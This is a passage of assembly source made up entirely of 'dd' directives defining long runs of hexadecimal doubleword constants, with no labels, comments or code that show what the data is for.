107B0E5Dh, 0BA3A0A00h, 0AD288EAAh, 841B0F48h, 818042F5h dd 0D4768CAh, 697FB900h, 76966D0Eh, 249263h, 0C0906FABh dd 44540D8Eh, 9D002A74h, 2E6C4B9Ch, 0A8E013C9h, 0A1EDD0h dd 753A45FAh, 423DBEA6h, 0AE643248h, 60164213h, 50D32B08h dd 4898987Ch, 28584726h, 0A1D53700h, 4F4BE51h, 3CD09063h dd 0E00C8A35h, 0E67FB54h, 39A67275h, 0C8D40702h, 0AD100440h dd 32560600h, 0D1C93058h, 2CEF2998h, 0BC0054FCh, 74D4884Bh dd 0EE189590h, 0CFF4A8DBh, 0F92E0A61h, 7880D6B1h, 38C5C088h dd 442B1EF7h, 79C2CA18h, 1C18AC20h, 73E08BA6h, 0C46752A4h dd 69D8E626h, 9A8FBD00h, 33007BD1h, 575B1F90h, 60A3CCB7h dd 0A9D611E4h, 636F46D1h, 2F90040h, 0CE623DCEh, 0E0046E11h dd 8094D70Ch, 0C7DFF666h, 10405D61h, 78808716h, 837E452Ah dd 0FE0C673Bh, 0F03940EFh, 0E240904Bh, 80F020B8h, 1330E048h dd 70402F52h, 35189998h, 0FFBB03Fh, 0A914EA03h, 254837ECh dd 29C8E52h, 40DF8132h, 64A7h, 2D075FE9h, 856F1F0Bh, 12A9A201h dd 0DF6578C4h, 60049A8h, 0BA50CD28h, 6600E941h, 0EC99F391h dd 18C5E1BBh, 5E67B162h, 1E006E54h, 0CCF93C2Ah, 72887CCFh dd 1064E18Eh, 90D849A0h, 81F14280h, 57001988h, 55C535BEh dd 625B44h, 8D38C385h, 0AB70A6C8h, 47F46E0Ch, 132F8054h dd 984D650h, 0C86EAD8h, 0B1003164h, 5196AE09h, 3CBAE2h dd 0E62603E0h, 9734FF49h, 1F954300h, 37750966h, 0D8620004h dd 1459A736h, 0C4789CC1h, 3E262910h, 0D415FDF0h, 4E6C5D07h dd 0E9B27CC2h, 10A5E38Eh, 0F0956638h, 30CC15F5h, 0DC98679Fh dd 25181631h, 0A6A0DD66h, 68818732h, 0E7F918ADh, 59BC3880h dd 0DB238ED4h, 737B6CA8h, 95855600h, 29E543CEh, 0D71100FBh dd 9247F55Ch, 490AFA9Eh, 10CCE689h, 17F6B605h, 9E8FA9C0h dd 0BB8015Ah, 44300CF3h, 0AF62D0EEh, 2C7A57h, 805D35ABh dd 1C9F47CFh, 8A8C7D3Ah, 581857CEh, 0FD18B5B4h, 9A68A2B6h dd 0F2D607C7h, 47FF266Ch, 39B5044Ch, 0B8572D41h, 4B7A398Ah dd 0ED066060h, 0AF403D2Dh, 0AFF70DAh, 0B41A8CF3h, 0E2D95028h dd 15C11F01h, 2DBACA16h, 0DF493182h, 609CCD37h, 2203C400h dd 0CA40F36Fh, 0B3EC1C1Ah, 4832D4F1h, 90C9E3C7h, 0CA3F2FE1h dd 0D98EFA0Ah, 25D8A4F2h, 0F1B718D3h, 0FC5A301Ah, 0B58890D1h dd 196B6603h, 3ACA90BEh, 0BC9B504Bh, 2EC0A028h, 0F3051414h dd 0A9E064CCh, 0D820ED89h, 0A19A00F2h, 6B16AE6Fh, 54A7F30Dh dd 67452380h, 83E623Ah, 0BCF7ACAh, 501DD0F0h, 0DA6C50h dd 0B6AF60D2h, 0F614C992h, 0D65E053Dh, 4587C0D4h, 401DC7B6h dd 9AFA983Fh, 74D2363Eh, 83B1630h, 7CA6ECF6h, 619C1419h dd 17F07CDAh, 7D52BCE0h, 697403E0h, 430656AFh, 0D3C07C88h dd 180F9ADBh, 973CE8A8h, 3196190Dh, 0ABDD089Dh, 89558081h dd 0A3FDD6B3h, 0A3608C50h, 0DD065AC8h, 0AAF34051h, 0AD81B619h dd 0F60356E8h, 0BF361685h, 0F876A083h, 0B18C7A0h, 91A7CF67h dd 61AD8F9Ah, 94B7E478h, 861A08C3h, 0FCDDE1B3h, 8811E844h dd 7128E0B0h, 0DDCB2467h, 50929824h, 796320F6h, 37DA2590h dd 0C6703D58h, 6BE8F89Dh, 0B7B879C0h, 6A56B3h, 1876154Dh dd 94579798h, 1DD1DD3Ah, 3716CE9Bh, 0F7063B1Eh, 6108DCB3h dd 57718B2h, 2E20B6C5h, 18926110h, 0F0CFB997h, 41C74917h dd 0B7C1D8A1h dd 88EE2EAh, 3CFF51F3h, 67208AB2h, 300CB58Fh, 0A4267708h dd 0A71B4359h, 7E1FB309h, 181E7418h, 103D1397h, 0B40EDDF0h dd 98A2BB17h, 19DE3650h, 282BAA73h, 1D40BE9Ah, 77068517h dd 60383C4Eh, 65B70868h, 0F6E8B4A5h, 8F182E65h, 0C0E182A0h dd 0EED33708h, 503097B6h, 295A4084h, 6F26E8B8h, 0E4A0301Bh dd 0CCC3B0F8h, 1504C277h, 0FFB28C1Ah, 831836C0h, 31931702h dd 769403CEh, 783E1AF7h, 0A14066B0h, 7C55F008h, 35D73105h dd 0FC0F050h, 32722602h, 9600BFD4h, 58B8159Bh, 0B8633817h dd 77A0F841h, 50C61C34h, 0F3E0F912h, 8D3128BCh, 9827F431h dd 5710D2C8h, 9843F563h, 0A9291F68h, 72143C43h, 0F01BCC04h dd 0F1100803h, 4C80BD30h, 6D418A43h, 6A00F4E6h, 0A504C4F9h dd 8E75BFh, 0C9B9F6DBh, 7378BA0Eh, 7181B53h, 5F6C388Dh dd 0AE753900h, 7A4F00B5h, 0BEA31DB3h, 1CA51949h, 9F989A83h dd 2D1888DCh, 2BBC0001h, 4BC2C428h, 7DFE1CD3h, 9E60C57Ch dd 2C3C2120h, 0A7623803h, 0AB1E01D8h, 0DFE200A8h, 9DE7C2CBh dd 0E1B32500h, 22121485h, 67E0C0CCh, 1BD21B1h, 0E238F666h dd 3E81F0E2h, 410F6937h, 0E1005A36h, 62120B27h, 281DF7FFh dd 82003804h, 0BD5702D5h, 3019059Eh, 202CCDA2h, 82FE6554h dd 183BA20h, 0E489F941h, 98338A5Ch, 0FD4058B0h, 0CBD87A0h dd 0E98C2B62h, 10C05361h, 0DDD40878h, 8100A9CEh, 0DCE7F6A0h dd 60E46FF2h, 3D57FBC1h, 8B040F83h, 450635E8h, 8C0FBCA1h dd 33420A7h, 0CEDEE102h, 57E10D08h, 4A1ABA7Dh, 16250024h dd 1A7D195Ah, 0C0C1002Dh, 0DF4478A9h, 3A0CB230h, 887A96F4h dd 0E0140076h, 67E1B40Eh, 350071DEh, 5CBBF377h, 29CB8D32h dd 0C01C8478h, 80A5E568h, 317DF40h, 0B25354C2h, 72A3520Ah dd 0C3C44110h, 9DDE1CF0h, 3FC0F20h, 0C2F960B7h, 5C987F3Ch dd 0F500DD52h, 0D779125Eh, 5645E48Fh, 138028CDh, 0D1546446h dd 767E722Dh, 4A8502C9h, 0A6603D25h, 0F9009BEDh, 0A1C9D620h dd 12C861Bh, 0A7A885Fh, 80D0B68Bh, 0D209DD38h, 1D69CA85h dd 0E11CB356h, 0D425C8E0h, 3D03F98Ch, 8A8E60A0h, 4A08D960h dd 0E5B35CDCh, 4502204Eh, 0D31CCD35h, 10CB1D03h, 0F0C59C30h dd 7101CCC6h, 387D80EEh, 67B4AC02h, 40B97F6Fh, 0F0B22235h dd 0F827C91h, 0B7F10507h, 0E20DB300h, 8C3DAB5h, 8FC82895h dd 0E893B81h, 3723C0h, 17D2F6D6h, 746E616Ch, 1F076D77h dd 993C89CEh, 2527B410h, 87B907C4h, 43B219BCh, 0A7E278CCh dd 7B791C0h, 0E50E33FAh, 804B03D5h, 0C8D45215h, 341E52F5h dd 851560C3h, 9C001EEAh, 29C8A8B9h, 60181F35h, 6870811h dd 89CF7803h, 79D56F7Ch, 1E0A74E0h, 9F927h, 0E2C9DB47h dd 945FE855h, 2842F0A8h, 3DDB9C0h, 0DC8079E5h, 40E3633Fh dd 0F039AE2Fh, 7B2053Eh, 98788F6Fh, 74710C08h, 0BC4866A2h dd 0B46DC203h, 1012EEE7h, 1E1FC0A0h, 0C70C13DEh, 0E3E7085Bh dd 0B23EDC10h, 3005A737h, 0E71DA2C3h, 0F8380B86h, 0C009C00Fh dd 587B496h, 0DAA8E463h, 49381831h, 0C2D3B0BBh, 7E59C8A0h dd 0A07B90Ch, 627388A3h, 485308A1h, 25401040h, 205638CCh dd 0A2843107h, 0F0266F40h, 20DFD3E7h, 6710C818h, 0C031CCD0h dd 3A3327A8h, 0C65D035h, 37BAE750h, 3860B610h, 0E5602E98h dd 5AEB3F95h, 0E92D589h, 10E34003h, 0BAB175A1h, 12582010h dd 78944895h, 7A159714h, 0D427ECh, 0E78D1E1Ch, 0C4943135h dd 826C71C0h, 9C821A80h, 8497A87h, 102E221h, 0BAAC8320h dd 45181914h, 8A6BB82Bh, 0B0340720h, 36F58705h, 0B00DB40Ah dd 8C92670Ah, 34A4C700h, 642775E5h, 81D90831h, 247855A4h dd 0D0C670ACh, 0F8088C35h, 0E7A20734h, 43A11875h, 28319EF5h dd 53D51915h, 6C3728BEh, 81C1C408h, 40AD359Ch, 0FC4B588h dd 0D45308C4h, 1A02609Eh, 63A50B3Ch, 1E12FC01h, 2937C08Ah dd 0D45A09D8h, 0ED045C3Ch, 3973478Fh, 9E5CC080h, 18C8DCDEh dd 6B32F888h, 3FA7B909h, 11040233h, 50D4B0C8h, 0EC60C5C5h dd 2C2C2043h, 9E31F36Bh, 0B43C987Bh, 24075030h, 0F0F0C55Ch dd 7C0081F9h, 4D4070Ch, 0A191139Ch, 0A82009F0h, 938E3287h dd 0FC435208h, 0B2286BC0h, 6420C724h, 0CF506701h, 24D18578h dd 1528CF0h, 42C6C1F1h, 0CC0C9493h, 2F07DEB3h, 0CCB6715Fh dd 4A761990h, 7BE40CD7h, 0C5088645h, 0B7D9C305h, 202C6ACCh dd 4CFF08EBh, 0AA1E0E84h, 657B3400h, 7AA899E3h, 1F93780Ch dd 36866A5h, 0B7CC0105h, 289657E2h, 71C83F00h, 76186F82h dd 648008Ah, 89C112D1h, 703092DEh, 0B6B1087Ah, 8024A7ADh dd 41CEBB47h, 76011EB8h, 0A85EF9EAh, 184B564Ch, 81A41C78h dd 0CAB4332Bh, 9F306C8Dh, 12327B0Ch, 412A300Fh, 300F9Bh dd 7D8B3A60h, 7B76A2B5h, 0A84B2B0Ah, 855C60CCh, 902260Ah dd 6D6A76A4h, 90A48038h, 3CCA8E8h, 2578BA51h, 85E073E2h dd 20CC6736h, 3C50830h, 6CA85935h, 2CA05D7Dh, 0D0CAB5D0h dd 0E8238438h, 0A92C6860h, 78E4612Bh, 0F031C04Ah, 135CB032h dd 0DA051426h, 0D7E014F0h, 802637E8h, 18F19B83h, 183F3978h dd 2490C827h, 0C08E648h, 286BC225h, 78AC3A59h, 0B8879118h dd 11805A41h, 33E5F070h, 803886B2h, 0A2050815h, 6545F0C4h dd 534E1251h, 0FE400A96h, 0A147F8F4h, 99B96214h, 48A0CC4h dd 5639E064h, 7C00C85Eh, 0CE60949Ah, 9300D1BCh, 40AE8FAAh dd 1F76AB0Ah, 733636Eh, 407D8336h, 0DEB9DFB6h, 0EB0C23FAh dd 8D55966h, 0F90C40D9h, 0D1299903h, 0E0FE7416h, 0F88E0F79h dd 0BEB00339h, 0BA1CF501h, 0CB5E75A1h, 5A7F15C0h, 0BF0E18CFh dd 0D7C3B51Ch, 0F62FC72h, 12939C08h, 4925C04h, 0BC03C97Ch dd 3CE00C7Eh, 20C2FA4h, 10CD9475h, 0E7A00040h, 0BF223836h dd 44098A7Ch, 809A77F8h, 33DA89ADh, 92323111h, 1A4E7C30h dd 2D6BEA00h, 0D211395Fh, 2288E01h, 5DF49D95h, 3E1E1C4Fh dd 507848EBh, 28997205h, 10C61020h, 0DBFC3194h, 0E0AF1288h dd 59C41C72h, 4B3C4CBCh, 4A20377Fh, 1B0EBD5Dh, 90F078D4h dd 40EF2FBBh, 96877A08h, 80A9DCF8h, 0A14C4CB1h, 9EA65908h dd 0D9D200E4h, 0AC350169h, 605E4A23h, 0F335DCE8h, 80F478A1h dd 0B72EF538h, 874FFC5Dh, 61EA3581h, 8453E5F0h, 5A711579h dd 7DA26CF3h, 0D17F9581h, 4084413Ah, 0DD5AF098h, 557C01F2h dd 1B246A55h, 6B8400D4h, 8B7FC74Fh, 0C3527110h, 0CCC23A48h dd 875B4020h, 0F93C817Ch, 88D2AF35h, 0AFEF2C0h, 637C1B75h dd 0DCC250F1h, 45414481h, 9808505Eh, 94AD721Ah, 0AEB6FE82h dd 89221DDh, 6905EB7h, 0C1AF0308h, 163215D9h, 0DEE084B7h dd 126143C7h, 0B83ED261h, 782CF9A9h, 0A00C8E49h, 0A0348896h dd 0A3BCAFE6h, 0E19E0F20h, 0A0A06EC7h, 68361210h, 2494C0A1h dd 8278DB08h, 514DD515h, 2880A04Ch, 4911629Ch, 5C480AB2h dd 44935140h, 0B779DFC0h, 38AF6089h, 72951F52h, 4B63DC15h dd 0E68CE0B4h, 399A6173h, 305F24F2h, 5157414Ch, 0D9278180h dd 39A0CD49h, 385E62E8h, 70B44B6Eh, 10230C39h, 3209ACA7h dd 98AD8133h, 37700CE8h, 68475100h, 61D64C70h, 6318006Eh dd 0F0A798AEh, 0AA3D89A5h, 1101FEC9h, 0B6FC48Dh, 1C4846F5h dd 0FFEFED2h, 9956CA02h, 8AA0446Fh, 0D56F314Ah, 0E0835121h dd 3810057Eh, 0E7706260h, 208A46F9h, 9121DF0Ah, 71EDE081h dd 7E60E610h, 4AB08738h dd 0C4EA748Ah, 3C82D170h, 57F208DEh, 270067C2h, 0A899F7Ah dd 0EA08C617h, 0CA2B80F3h, 0A16078C8h, 0ED13B123h, 9DC74884h dd 0F5350FA5h, 16DBA078h, 730A2078h, 0C71EE1B0h, 9F586E5Ch dd 0F8AF0B08h, 86260083h, 0D82AED22h, 0FB00C3F9h, 7BA832B7h dd 0E473BDh, 0F12BE7E3h, 2E5CC8CEh, 43386962h, 3D7E1E25h dd 0D5123300h, 17912B7Dh, 0AE5C01C9h, 39827FFh, 3F030F22h dd 0E444D1E3h, 73B17001h, 77EE5C61h, 0A62D098Fh, 48F80E06h dd 8087C373h, 0E00F8220h, 2B08E84Eh, 3E601551h, 8E0A3BBAh dd 0D07C27FDh, 0E51839CDh, 71404F38h, 0F888ED31h, 0ADF02D34h dd 929E184Ch, 0AF113873h, 36F83D62h, 0A083C2Dh, 866780D5h dd 0A83A0631h, 742D372Bh, 46EB4740h, 0D1D0A8ECh, 0AE38C26Bh dd 70B6288Bh, 5CC71126h, 0E9F1A830h, 4063813Eh, 0CA514E90h dd 4F9B4A1h, 885783Ch, 6DDFC69Dh, 48A6910Ch, 2ED8400Eh dd 7CBD502Bh, 0CE82D749h, 1440D613h, 0FF0566B1h, 0BDC3CE5Ch dd 74E57C68h, 0D356332Bh, 74835138h, 7C387868h, 6482B0D3h dd 3888F7ACh, 0EE050771h, 7468B525h, 517D1802h, 751139AAh dd 232F03E3h, 13E0C3E9h, 89399DFAh, 5172D431h, 5CA02E42h dd 18615383h, 70A5D139h, 8EADD442h, 10818C94h, 6E4D40EEh dd 183C7832h, 8E98403Dh, 1210DDA5h, 4EDC0690h, 0EE240860h dd 0FEF810DFh, 278B31E1h, 4108F179h, 0BAB42E94h, 38371868h dd 0AF28C070h, 0C4EC019Ch, 209A81B9h, 97289150h, 6831F037h dd 3E10836h, 8CC93101h, 0C0048C58h, 2FC9CC6Ch, 0DC2B0E18h dd 1CC0B028h, 404D7CC9h, 5D32B1D9h, 0BEC7F0A4h, 6B2D02B0h dd 7A2C7B5Eh, 8CCE2441h, 78068891h, 88C7657Ch, 17987CC0h dd 63DE1518h, 0C4D77181h, 0C1102E48h, 3B6E00h, 0AD9E43h dd 0FF91FD7Ch, 0DE40D3A7h, 48B86C00h, 214E3E6Eh, 3F75730Eh dd 71F13777h, 13C614D7h, 0F4B01C99h, 0EB2066EDh, 0AD410022h dd 937E022Ch, 0DE1E0F99h, 1F3A9724h, 3E066410h, 3110630Ah dd 360865FBh, 691EF05Eh, 0CC3E5F40h, 9E284919h, 51889036h dd 7C5DF808h, 0FBE192Ah, 867F1862h, 0F3DC3E30h, 0F0AB3E20h dd 0EFE55E0Ch, 47CC110h, 4F67FE02h, 969CD3C6h, 0C2360064h dd 0A46D38B1h, 9666E175h, 19C88169h, 909C7B9Eh, 5ED0844Ch dd 0BE0D88E6h, 8DFAE1D8h, 0C87BFE88h, 0C60758F1h, 0E263E137h dd 2A2D9E10h, 6384ED09h, 0ABFEC8A6h, 7936087Ch, 180879F0h dd 0E82BF63Eh, 408163FCh, 0F0DD3998h, 0EE64819Eh, 0FE039808h dd 1031FF1Bh, 3A5190Fh, 84CA3894h, 0E8D67E14h, 0F09D9310h dd 2876A8A9h, 188463BDh, 40C5FE01h, 60C161ACh, 53C6DC9Dh dd 0B6802426h, 6F196356h, 6BA140C3h, 0AAD020C4h, 0DC9CDE12h dd 15F32878h, 0C4B72629h, 805BC118h, 0CB65451Eh, 0EC1DCC88h dd 8CAEE0Ch, 0ECDC579Fh, 0DA2BA181h, 686110E2h, 938CA1C2h dd 9D07645Bh, 6893A95Eh, 0BC248108h, 3DC160D6h, 8CF5D9A4h dd 0C0362139h, 0D7D12B7Eh, 1A8F4F54h, 9327CCE4h, 0A91587A4h dd 0E0D8E479h, 617E521Fh, 54E17194h, 0AE3C207Dh, 0D8087968h dd 0FC550A54h, 4FF89CFEh, 9F78236Ch, 9F745456h, 0BCF8953Eh dd 98A11EACh, 0BE98E8E4h, 0C4298B78h, 82F48210h, 0D88EFC1Ch dd 4CCD885h, 78D6A9DCh, 0E9AC1867h, 0BAC1994Ch, 0F324687Fh dd 9300E435h, 781A22F8h, 1D9C00EAh, 0A7BBAA0h, 0AA00617Fh dd 3D14B919h, 89DC0Fh, 0CD5F51DEh, 0E41F50ADh, 569E1CA5h dd 6B42CE44h, 0D853FC00h, 1103BF51h, 0BE3F745Bh, 0F3081E6Eh dd 55023EFAh, 0E3DF508Fh, 0B0042896h, 1509BD52h, 38FE981Fh dd 88C4CCDFh, 0CC3DE69Fh, 37200EDBh, 0E9BC0012h, 0B7A31DE4h dd 4100F7AEh, 5F74B4EBh, 1D5195C0h, 73D25FFh, 0C1DC5E7Fh dd 81BD989Fh, 0F74CAE08h, 3086AB61h, 80C99B3Fh, 88E58A28h dd 0BF8CF950h, 640FCE41h, 0BF98993Ah, 205C9117h, 0A1F7B107h dd 0E143AFFAh, 0D1091FFFh, 5AC1041Dh, 600F0CAEh, 0C5B579DFh dd 7876E878h, 3A15AEC0h, 3BDC0D62h, 0F7B4867Ch, 0E958BF01h dd 816818DBh, 421608Ch, 0B91410DDh, 0EA9F08D4h, 7D160106h dd 4BC55F50h, 6D9F0E34h, 1CD11867h, 48836346h, 0B030E161h dd 751FB868h, 0FF740AB3h, 0F0D8ABBCh, 0E500B352h, 0F6BDD3Bh dd 0A1B0133Ch, 488408D4h, 34017B9Fh, 0B82EB46Ch, 0C3D3E805h dd 8A3DDC48h, 0B574F81Ch, 0ABA21F85h, 1862A078h, 0D929B464h dd 47514EFCh, 8878A3CCh, 0E3A243C0h, 78DC6F6Eh, 2B4750DEh dd 0A2607CB9h, 89286B91h, 1F705EBCh, 0F358CE4Fh, 48CF5C31h dd 0BF2B1416h, 883D606Ch, 0DA61E515h, 17CD7C38h, 0BE06D842h dd 0AD090CF4h, 1C39D445h, 44F83D24h, 9F47814h, 63A9D7Fh dd 14086680h, 0D43444FFh, 0B859AA14h, 6A2C612h, 3868AEF4h dd 0C6F4724h, 70099218h, 7FF0A190h, 23FF0886h, 0E33E10DCh dd 793F08D7h, 0CC610D9h, 38ECB2BFh, 0C0D24889h, 60677B38h dd 50F08D8h, 0CA0C1F75h, 571B3862h, 4081C07Dh, 1073C607h dd 0CCDB703Ch, 0F8096F38h, 0D17F80C6h, 400EE8C8h, 0D4AFA0A3h dd 0AA74278Bh, 48C44A8h, 63873814h, 0DB7E8D8h, 8C96E026h dd 605AB1BDh, 88C4201h, 2818CDFBh, 0A0F06365h, 1890F07Ch dd 0C92194C8h, 1265B0FCh, 0F07C1F48h, 898C3C49h, 79FCD020h dd 71538D6h, 552FF15Ch, 8BDF03F8h, 701513D3h, 0E08C76EAh dd 20CA410Bh, 5C10DED0h, 6C181258h, 8903E8E4h, 78D908CAh dd 2A4EA3D8h, 14B0187Dh, 0D8DFBD7Ch, 1F2B0D20h, 0A9607C14h dd 0C461E8F8h, 81D51C41h, 4120BF68h, 5FDD3FD0h, 14F05080h dd 6DC1D012h, 80DA1C0Ch, 0F09B551Fh, 80104FCEh, 834C8E31h dd 18155FAh, 2A3FB88Dh, 0BA2C3140h, 8103150h, 2920DE7Fh dd 8C5FE91Fh, 0D1B3EC03h, 980DCC1Ch, 487324FCh, 5AFF598Dh dd 52ECD1E8h, 40401898h, 5C48E47Fh, 29171BA4h, 0CC91BD08h dd 0A45E95F8h, 4A84F803h, 0C87EFBDAh, 0A472CE28h, 0E0A038D1h dd 3181DD92h, 0BC38E62Fh, 0E5FF0117h, 779C6C04h, 69C4BB08h dd 0E85C0CC5h, 4CBBCC39h, 156A20E0h, 8CCA500Ch, 0ADE22B7Ch dd 588406Ch, 8A051C2h, 0E1181816h, 7C78F8A2h, 94FF5009h dd 372EB027h, 0A210151Fh, 7CB48F47h, 31B9F89Fh, 1C48E4DAh dd 0F8506439h, 3BDC89Ah, 3860C13Bh, 0E2501309h, 1109C0C7h dd 31D3211Fh, 331E3274h, 930E3509h, 0F304DFC8h, 9B004640h dd 2AD324FAh, 15F8CB74h, 0AF10CD63h, 5893E013h, 0CC9D0EA9h dd 0AC837365h, 2CC05BF5h, 980C6CC2h, 8E6BB8Ch, 1F6D780Eh dd 0C6F41CCh, 0EC20A62Ch, 99EABB1Fh, 0D3D87700h, 525ABDh dd 0F10A95D4h, 7B38AD03h, 8E64B28h, 3499E300h, 6B45868h dd 0B5CA307Ah, 98EAFD78h, 8CEEEE8h, 80108FECh, 99C2776Ch dd 305D524Ch, 3B715BC1h, 0DA518CF5h, 2B4CA07Fh, 401CC16Dh dd 0AF9D8B61h, 88BA01F9h, 670CD08Ch, 56438C70h, 540EE5C3h dd 6837FA8h, 0C2641A15h, 0DAF7E080h, 0A1406105h, 561028FAh dd 0C2138B8h, 96E3EF57h, 0A17FC7D2h, 0CF681B56h, 442E8667h dd 53A7769h, 2A4C9D13h, 0F9686801h, 0A1710800h, 9A06B3A6h dd 0ECA0C2FBh, 6CB4C5FEh, 3DBE5614h, 8A7A1038h, 1183EC0Eh dd 812A0C84h, 0BC6C4C18h, 198B1408h, 18A512ECh, 6ACD2004h dd 79C5D105h, 0A668E484h, 1959BE20h, 681F33DAh, 0C00C2774h dd 2799D9A9h, 0F081516Ah, 74A12BEFh, 0DF24E0F0h, 39C4981Fh dd 4C03831Ah, 0D82B1E97h dd 0ECE08CCCh, 0A85EF304h, 48C2FAA8h, 0CE2BA09Dh, 27E36074h dd 39DFD171h, 189EA0C8h, 0E52C0844h, 88A89C51h, 0AE1EC11h dd 1EB0630Ch, 0CC18602Ch, 0AE20E6B9h, 636CF86Eh, 2DAC18FDh dd 85322878h, 837C38E7h, 0A4788CC4h, 86FFD06h, 446C7620h dd 6D407CAFh, 60ED56F5h, 0C1077980h, 9CA01573h, 63505F3Ah dd 0B8AF7298h, 37C19B81h, 9A000BDBh, 4098B2A9h, 0C0B4C957h dd 0EBB9DFFCh, 7A38C810h, 0B1110C85h, 0B37BF404h, 602D20C2h dd 0FB854C28h, 12A0188Ah, 0C8D215E8h, 3DFE92F0h, 60C212E4h dd 409D86DAh, 93012BDCh, 85E3C03Ch, 12441FBAh, 38B566D1h dd 8E48A127h, 0D6637808h, 30138B99h, 8CA0EF20h, 98AFC11Ah dd 94254802h, 1A14485Dh, 6CF0C56Bh, 0CF987CC3h, 0E05D1008h dd 3EFA0911h, 460E40BEh, 0C87B280Eh, 0A2710181h, 2738361Eh dd 6E2FC1BCh, 39894ED6h, 2889D23Ah, 424188Ah, 8221CBACh dd 38405A40h, 30B2E2CCh, 4C5C3649h, 0F31062D0h, 0A84BCEDh dd 7EC449DAh, 729A80B4h, 15F61ECCh, 6C248C90h, 5391A045h dd 8740443Ch, 57F29C40h, 0F8198EDh, 11E6A88Dh, 7460BA7Ah dd 0F05D424Ch, 283DF7A4h, 1D4BD11h, 1EC7213Ah, 42C8AB56h dd 0C0BE61D8h, 8200288Ch, 0E70C822h, 4DE1D8C3h, 5212D850h dd 581C056Ah, 852869F3h, 1517F590h, 4B7A2021h, 0B0136C00h dd 66A2CCA0h, 0F5E2D0F1h, 458EB0C4h, 18737706h, 9CC1362Bh dd 2328A8CCh, 0DA0C0FBEh, 58866941h, 0F912F837h, 87C0834h dd 107D2C06h, 0EEDC2818h, 946528E0h, 8026FD8h, 10D34F86h dd 0E02BCB28h, 0F6946E49h, 98ED11F0h, 6EBA820Bh, 1F006168h dd 90ECF09Dh, 36251937h, 98BE8580h, 26CF0210h, 45961C69h dd 0A8726C4Dh, 0C51E06D0h, 4269020h, 8762A0C0h, 828D2438h dd 4448B56Ch, 0B8C6EF31h, 3120A3DDh, 8E10A123h, 99208C97h dd 40B218D5h, 28646704h, 9092F610h, 0A0B84F73h, 561811B8h dd 0B71A840Eh, 45FB8C05h, 0D3544ECh, 90E099B8h, 1E333610h dd 488C6CE8h, 3C203E77h, 0E9C57890h, 9C065BC5h, 2A18587Dh dd 509486D9h, 6234A49Ah, 9467B895h, 0E8E0DE06h, 4CD0C38Fh dd 8831290Fh, 0D7ACE87Bh, 1D6CE441h, 155C7C05h, 492E0442h dd 2CFA00BCh, 0CEC662B0h, 465F8207h, 8641C592h, 66E09FCCh dd 1F9B7C43h, 7560D26h, 0C0F5E5E6h, 622D2906h, 574D8F0h dd 23F4661Eh, 0E1CF2606h, 90C13010h, 63BF7908h, 0D60752F8h dd 607F3729h, 0BD2F5F70h, 0A74600D9h, 63386270h, 130122B9h dd 9BD40F6Ch, 90994E2Dh, 0B17199F6h, 73665141h, 0C381030Fh dd 9C2E7BCFh, 12C6BB31h, 0B466038Fh, 5186A831h, 504F77A6h dd 2A82120Ah, 845B4228h, 0EFD68600h, 37060062h, 71E663CDh dd 92007674h, 8A43EAF1h, 0B664BA1h, 1C451BABh, 4F394880h dd 7900E6BEh, 43BB5671h, 7403EBFCh, 0AF8B1F42h, 0E2EA4659h dd 561F18F3h, 8C0E8F1Eh, 0CA0B835Bh, 0CDCBC1B1h, 61EB0887h dd 0A42BC2FAh, 490C4B00h, 0E4CB2980h, 0DA396044h, 0BC467B7Fh dd 380DB618h, 60A7058Bh, 0E4560C88h, 0B875C696h, 0ABE807E4h dd 6B089261h, 188F29FBh, 2BC625C4h, 0EB0108CFh, 6B8FA7D7h dd 0B08C676Ah, 90E00582h, 29803A3Ch, 77E25C09h, 0EFF638F0h dd 0CCAB9CA0h, 0F14EA4A8h, 0D7304BF0h, 3BDF6899h, 0A70B7180h dd 57AC886Ch, 0D60FD144h, 96C8C88Ch, 0A1A83A52h, 8509453Fh dd 0A8CA3641h, 0E423CC04h, 2A3AE805h, 41D414B0h, 0FD16C444h dd 8D0B0480h, 848C97Fh, 0E8EB0402h, 0C78A9895h, 76604C46h dd 188FB257h, 485C12ABh, 58D01E98h, 9BAA894h, 0E7FA6C34h dd 82A85C23h, 597D3819h, 9885FD50h, 783BC1CBh, 3D099A98h dd 23D75804h, 681D963Ch, 0F0903848h, 729C3A8h, 969E688Ch dd 0E6843BD5h, 5CFC2B70h, 0A4F68AACh, 7010DB78h, 0F8886237h dd 70A4D60Ah, 52505CF8h, 361C1CA0h, 0AA89BA5Dh, 0E402B04Eh dd 5440B765h, 8C9CAB2h, 0EB5C017Ah, 305AFB83h, 63179862h dd 667C1638h, 50DD40A4h, 93476B12h, 70FDC00Dh, 402790D1h dd 4C6CB8D8h, 1B76248Eh, 3F5189F0h, 93BD4404h, 101B61B4h dd 0A4B86F6Bh, 0B0C06B8h, 2A705B49h, 4F08A663h, 0A4F030A8h dd 69E2EB08h, 932B1890h, 0FFC2743Ah, 0CA563864h, 40BA2B80h dd 2A500708h, 1F514A0h, 20992C96h, 34AE715Bh, 0F8AFBE30h dd 0BC2380A0h, 0C0B68C33h, 85244B70h, 6F1854ABh, 8077EB08h dd 89487F8Bh, 96FE18F4h, 0E99A9878h, 0A05472F8h, 0C6BC73F8h dd 8091598h, 9406D128h, 0D5CF64Ch, 10CD6FCBh, 4098CFE5h dd 2EBD084h, 0BD48C163h, 44283AC2h, 29643640h, 0C1F8F08h dd 0CF282DEFh, 63D42E50h, 0B32B08CEh, 0F30E8446h, 0F4133720h dd 28D69638h, 18768532h, 742C6969h, 490B0C30h, 0D231E409h dd 4097AB08h, 1ECD2BE4h, 844F8CCh, 8B59406Bh, 8DF87354h dd 373150B2h, 0A7E320A5h, 0CC44103h, 4083193Ah, 0D0A2DEA9h dd 4B28BC0Ch, 40C679B0h, 3368673Bh, 0AD106A10h, 0E3BF191Bh dd 8B100C91h, 0A598110Dh, 0D6CB28C3h, 313818F8h, 0E18908FAh dd 0E41918DCh, 1437BB30h, 7F1138D4h, 8096CF63h, 27D509FCh dd 0D48C39ADh, 351E9C3Ch, 140871B6h, 0AC75E088h, 658A61BDh dd 81B5A0C3h, 6195F0FFh, 3BD5101Ah, 1C15F001h, 8349F580h dd 90DDEFA1h, 0D50C9430h, 0F2487716h, 0D1408CF5h, 0C3283878h dd 0B527508h, 701E1831h, 11904E35h, 5C151C08h, 39F03020h dd 75941E20h, 0CE89F500h, 447DFC83h, 2DF400B6h, 161593A5h dd 8E3BC197h, 28BA802Ah, 6084D374h, 0B5F8C358h, 8019EB0h dd 348CB4E5h, 3001B320h, 0D4F89413h, 763C7484h, 0F551BD7h dd 2A28E3D8h, 3D889609h, 35949534h, 24B04468h, 0CD22C21Dh dd 40774030h, 8C903E02h, 